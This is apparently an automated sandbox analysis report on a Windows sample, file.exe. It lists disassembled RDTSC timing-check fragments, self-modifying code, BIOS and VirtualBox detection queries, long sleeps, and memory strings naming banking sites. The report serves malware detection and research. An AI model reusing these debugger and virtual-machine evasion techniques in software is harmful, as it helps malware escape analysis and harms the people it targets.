Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00B1C second address: 4A00BA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 5175A833h 0x00000010 jmp 00007F1910516D61h 0x00000015 xor dword ptr [esp], 27EF341Bh 0x0000001c pushad 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F1910516D5Ah 0x00000024 sbb si, 5418h 0x00000029 jmp 00007F1910516D5Bh 0x0000002e popfd 0x0000002f mov ah, EFh 0x00000031 popad 0x00000032 push edi 0x00000033 movzx esi, bx 0x00000036 pop edi 0x00000037 popad 0x00000038 call 00007F198246BD54h 0x0000003d push 76952B70h 0x00000042 push dword ptr fs:[00000000h] 0x00000049 mov eax, dword ptr [esp+10h] 0x0000004d mov dword ptr [esp+10h], ebp 0x00000051 lea ebp, dword ptr [esp+10h] 0x00000055 sub esp, eax 0x00000057 push ebx 0x00000058 push esi 0x00000059 push edi 0x0000005a mov eax, dword ptr [769B4538h] 0x0000005f xor dword ptr [ebp-04h], eax 0x00000062 xor eax, ebp 0x00000064 push eax 0x00000065 mov dword ptr [ebp-18h], esp 0x00000068 push dword ptr [ebp-08h] 0x0000006b mov eax, dword ptr [ebp-04h] 0x0000006e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000075 mov dword ptr [ebp-08h], eax 0x00000078 lea eax, dword ptr [ebp-10h] 0x0000007b mov dword ptr fs:[00000000h], eax 0x00000081 ret 0x00000082 jmp 00007F1910516D68h 0x00000087 sub esi, esi 0x00000089 push eax 0x0000008a push edx 0x0000008b jmp 00007F1910516D5Ch 0x00000090 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00BE3 second address: 4A00BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00BE7 second address: 4A00BEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00BEB second address: 4A00BF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00BF1 second address: 4A00C54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F198245AAD2h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F1910516D5Dh 0x00000016 sub eax, 131ECB36h 0x0000001c jmp 00007F1910516D61h 0x00000021 popfd 0x00000022 popad 0x00000023 cmp dword ptr [ebp+08h], 00002000h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push edi 0x0000002e pop ecx 0x0000002f call 00007F1910516D5Fh 0x00000034 pop ecx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A109CB second address: 4A109CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A109CF second address: 4A109D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A109D5 second address: 4A10A28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 57691263h 0x00000008 pushfd 0x00000009 jmp 00007F19111E3818h 0x0000000e xor cx, 20A8h 0x00000013 jmp 00007F19111E380Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, esi 0x0000001d jmp 00007F19111E3816h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10A28 second address: 4A10A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10A2C second address: 4A10A48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3818h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10A48 second address: 4A10AB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F1910516D64h 0x00000011 or ax, 07C8h 0x00000016 jmp 00007F1910516D5Bh 0x0000001b popfd 0x0000001c push esi 0x0000001d mov edi, 161DE56Ah 0x00000022 pop edi 0x00000023 popad 0x00000024 mov esi, dword ptr [ebp+0Ch] 0x00000027 jmp 00007F1910516D5Eh 0x0000002c test esi, esi 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F1910516D67h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10AB3 second address: 4A10ACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19111E3814h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10ACB second address: 4A10ACF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10ACF second address: 4A10B55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F19831210E6h 0x0000000e jmp 00007F19111E3817h 0x00000013 cmp dword ptr [769B459Ch], 05h 0x0000001a jmp 00007F19111E3816h 0x0000001f je 00007F198313918Ch 0x00000025 jmp 00007F19111E3810h 0x0000002a xchg eax, esi 0x0000002b pushad 0x0000002c push esi 0x0000002d jmp 00007F19111E380Dh 0x00000032 pop ecx 0x00000033 mov ah, dh 0x00000035 popad 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F19111E3815h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10B55 second address: 4A10B5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10B5B second address: 4A10B80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, ax 0x00000006 mov edx, esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F19111E3817h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10B80 second address: 4A10B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10B86 second address: 4A10B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10BBB second address: 4A10BC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10BC1 second address: 4A10BC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10BC5 second address: 4A10BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1910516D5Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10C0D second address: 4A10C13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10C13 second address: 4A10C19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10C19 second address: 4A10C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10C1D second address: 4A10C21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5E408 second address: 5D5E40C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5E40C second address: 5D5E41A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F1910516D56h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5DD02 second address: 5D5DD08 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5DD08 second address: 5D5DD12 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1910516D5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECC92A second address: 5ECC930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED1289 second address: 5ED12A3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1910516D56h 0x00000008 jmp 00007F1910516D5Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED12A3 second address: 5ED12A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED12A9 second address: 5ED12AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED12AD second address: 5ED12B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED140D second address: 5ED1431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F1910516D56h 0x0000000c popad 0x0000000d pushad 0x0000000e jng 00007F1910516D56h 0x00000014 jmp 00007F1910516D5Ah 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED16CC second address: 5ED16D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED16D4 second address: 5ED16DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED16DA second address: 5ED16E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED186E second address: 5ED1874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED1984 second address: 5ED1988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED1988 second address: 5ED19A4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1910516D56h 0x00000008 jmp 00007F1910516D62h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED5463 second address: 5ED546D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F19111E3806h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED546D second address: 5ED5481 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1910516D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED5481 second address: 5ED548B instructions: 0x00000000 rdtsc 0x00000002 je 00007F19111E3806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED548B second address: 5ED5495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F1910516D56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED5495 second address: 5ED54AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jnl 00007F19111E380Eh 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED558B second address: 5ED55B0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1910516D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1910516D69h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED55B0 second address: 5ED55B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED55B4 second address: 5ED55EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 239CC6C3h 0x0000000e pushad 0x0000000f mov si, 18C1h 0x00000013 jmp 00007F1910516D5Bh 0x00000018 popad 0x00000019 lea ebx, dword ptr [ebp+1244B312h] 0x0000001f mov esi, edx 0x00000021 mov edi, dword ptr [ebp+122D2D6Fh] 0x00000027 xchg eax, ebx 0x00000028 jg 00007F1910516D64h 0x0000002e push eax 0x0000002f push edx 0x00000030 push edi 0x00000031 pop edi 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED55EC second address: 5ED55F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED55F0 second address: 5ED5610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F1910516D60h 0x0000000d jns 00007F1910516D5Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED5649 second address: 5ED56B5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F19111E3808h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F19111E3810h 0x00000010 nop 0x00000011 pushad 0x00000012 mov eax, dword ptr [ebp+122D2620h] 0x00000018 movzx eax, ax 0x0000001b popad 0x0000001c push 00000000h 0x0000001e jmp 00007F19111E3814h 0x00000023 mov edx, dword ptr [ebp+122D39F9h] 0x00000029 call 00007F19111E3809h 0x0000002e push ebx 0x0000002f push ebx 0x00000030 jmp 00007F19111E3814h 0x00000035 pop ebx 0x00000036 pop ebx 0x00000037 push eax 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED56B5 second address: 5ED56B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED56B9 second address: 5ED570D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F19111E3806h 0x0000000d jmp 00007F19111E3817h 0x00000012 popad 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 js 00007F19111E3810h 0x0000001e jmp 00007F19111E380Ah 0x00000023 mov eax, dword ptr [eax] 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F19111E3816h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED570D second address: 5ED5713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED5713 second address: 5ED5717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED5717 second address: 5ED571B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED571B second address: 5ED57B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007F19111E3815h 0x00000011 pop eax 0x00000012 or esi, dword ptr [ebp+122D2CCBh] 0x00000018 push 00000003h 0x0000001a mov dword ptr [ebp+122D1E1Fh], ebx 0x00000020 push 00000000h 0x00000022 sbb cl, FFFFFFF6h 0x00000025 push 00000003h 0x00000027 push 00000000h 0x00000029 push edx 0x0000002a call 00007F19111E3808h 0x0000002f pop edx 0x00000030 mov dword ptr [esp+04h], edx 0x00000034 add dword ptr [esp+04h], 00000017h 0x0000003c inc edx 0x0000003d push edx 0x0000003e ret 0x0000003f pop edx 0x00000040 ret 0x00000041 je 00007F19111E3806h 0x00000047 push A4F8F337h 0x0000004c jmp 00007F19111E3818h 0x00000051 add dword ptr [esp], 1B070CC9h 0x00000058 adc dx, 4B16h 0x0000005d lea ebx, dword ptr [ebp+1244B31Bh] 0x00000063 or edx, dword ptr [ebp+122D1FD7h] 0x00000069 push eax 0x0000006a je 00007F19111E3814h 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED57B7 second address: 5ED57BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED580E second address: 5ED5813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED5813 second address: 5ED5818 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF46B5 second address: 5EF46CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3815h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF484F second address: 5EF4855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF4855 second address: 5EF4859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF4859 second address: 5EF486E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF498F second address: 5EF499A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF499A second address: 5EF499E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF499E second address: 5EF49A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF49A2 second address: 5EF49A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF5088 second address: 5EF50AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19111E3815h 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f jp 00007F19111E3806h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF5201 second address: 5EF5205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF5328 second address: 5EF5337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F19111E3806h 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF5337 second address: 5EF534F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1910516D64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF534F second address: 5EF538D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3812h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 jmp 00007F19111E3816h 0x00000015 jns 00007F19111E3806h 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF538D second address: 5EF5393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF5393 second address: 5EF5397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF5397 second address: 5EF539B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E8A80 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 29989D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 2AF478 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 327F3A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5D5DC42 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5D5DD58 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5D5DC4E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5EF7F43 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5F99D3B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05D5DFD9 rdtsc

0_2_05D5DFD9

Source: C:\Users\user\Desktop\file.exe TID: 5952	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 340	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4412	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3660	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5392	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4016	Thread sleep time: -42021s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2583109600.0000000005EDA000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2578846156.0000000000278000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2582742277.0000000005C1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000003.2189860535.0000000005380000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
